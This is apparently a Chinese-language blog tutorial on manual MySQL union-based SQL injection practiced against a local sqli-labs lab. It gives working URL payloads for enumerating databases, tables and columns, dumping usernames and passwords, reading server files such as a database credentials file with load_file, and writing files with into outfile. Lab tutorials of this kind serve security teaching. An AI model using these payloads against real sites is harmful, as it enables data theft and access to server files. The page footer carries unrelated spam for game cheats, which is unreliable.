web安全之MySQL手工注入的原理讲解和实验分析
创始人
2024-03-13 20:37:37
0

目录

前提知识

靶场搭建

手工注入

高权限注入

 sql注入之文件读写

基础防御


前提知识

  1. 数据库及sql语句知识,web相关知识。
  2. union合并查询的两个特征:前后查询互不干扰,前后查询的字段可以不同但是数量必须一致。
  3. order by 通过测试来猜解表的列数
  4. 掌握几个系统表中重要表
  5. %20:转义字符空格
  6. . 下一级(数据库,表,字段)
use information_schema;
select * from SCHEMATA;
select table_name from TABLES;
select column_name from COLUMNS;

靶场搭建

环境:win10虚拟机,sqli-labs,phpstudy

手工注入

  • 判断有无注入点:and 1=1;随便输入:报错则有,没有报错则没有
  • 猜解列名数量:order by 数字
  • 判断回显点:
/?id=-1 union select 1,2,3

Your Login name:2
Your Password:3

  • 信息收集
1,version(),database()

 

数据库版本,数据库名字

  • 进行对应的sql注入
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'
union select 1,2,(select group_concat(username,password) from users)

高权限注入

  • 注入条件:高版本,共享mysql服务器,且拥有高权限的注入漏洞
  • 权限介绍:mysql系统数据库下面有四张表(最大权限为user表)
?id=-1%20union%20select%201,user(),3

  •  获取所有的数据库名
?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

 

  • 获取数据库下面的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='my_data'

  •  查询表中对应的字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dept'

查询字段下面的信息

?id=-1%20union%20select%20name,deptno,name%20from%20my_data.dept

 sql注入之文件读写

  • 读写文件的权利

查看my.ini下面的secure_file_priv时。

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

show global variables like '%secure%';

  • bug修复

此时修改完 my.ini文件的配置后发现仍然为NULL,此时只需要重启mysql就行,打开管理员权限的cmd,然后执行下面的命令

net stop mysql
net start mysql

读取文件

使用函数: load_file()

注意:/=\\

?id=-1%20union%20select%201,load_file(%27d:/d.txt%27),3

 

http://localhost:8089/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\sql-connections\\db-creds.inc%27),3

 报错路径,常见路径,遗留文件,漏洞报错,平台配置文件

  • 写入文件

函数:into outfile(可写入多行,按照格式输出)和into Dumpfile(只能写入一行,且没有输出)

http://localhost:8089/Less-2/?id=-1%20union%20select%201,%27coleak%27,3%20into%20outfile%20%27d:/d2.txt%27%20--+

 

基础防御

  1. 魔术引号
  2. 内置函数
  3. 自定义关键字

相关内容

热门资讯

美国2年期国债收益率上涨15个... 原标题:美国2年期国债收益率上涨15个基点 美国2年期国债收益率上涨15个基...
汽车油箱结构是什么(汽车油箱结... 本篇文章极速百科给大家谈谈汽车油箱结构是什么,以及汽车油箱结构原理图解对应的知识点,希望对各位有所帮...
嵌入式 ADC使用手册完整版 ... 嵌入式 ADC使用手册完整版 (188977万字)💜&#...
重大消息战皇大厅开挂是真的吗... 您好:战皇大厅这款游戏可以开挂,确实是有挂的,需要了解加客服微信【8435338】很多玩家在这款游戏...
盘点十款牵手跑胡子为什么一直... 您好:牵手跑胡子这款游戏可以开挂,确实是有挂的,需要了解加客服微信【8435338】很多玩家在这款游...
senator香烟多少一盒(s... 今天给各位分享senator香烟多少一盒的知识,其中也会对sevebstars香烟进行解释,如果能碰...
终于懂了新荣耀斗牛真的有挂吗... 您好:新荣耀斗牛这款游戏可以开挂,确实是有挂的,需要了解加客服微信8435338】很多玩家在这款游戏...
盘点十款明星麻将到底有没有挂... 您好:明星麻将这款游戏可以开挂,确实是有挂的,需要了解加客服微信【5848499】很多玩家在这款游戏...
总结文章“新道游棋牌有透视挂吗... 您好:新道游棋牌这款游戏可以开挂,确实是有挂的,需要了解加客服微信【7682267】很多玩家在这款游...
终于懂了手机麻将到底有没有挂... 您好:手机麻将这款游戏可以开挂,确实是有挂的,需要了解加客服微信【8435338】很多玩家在这款游戏...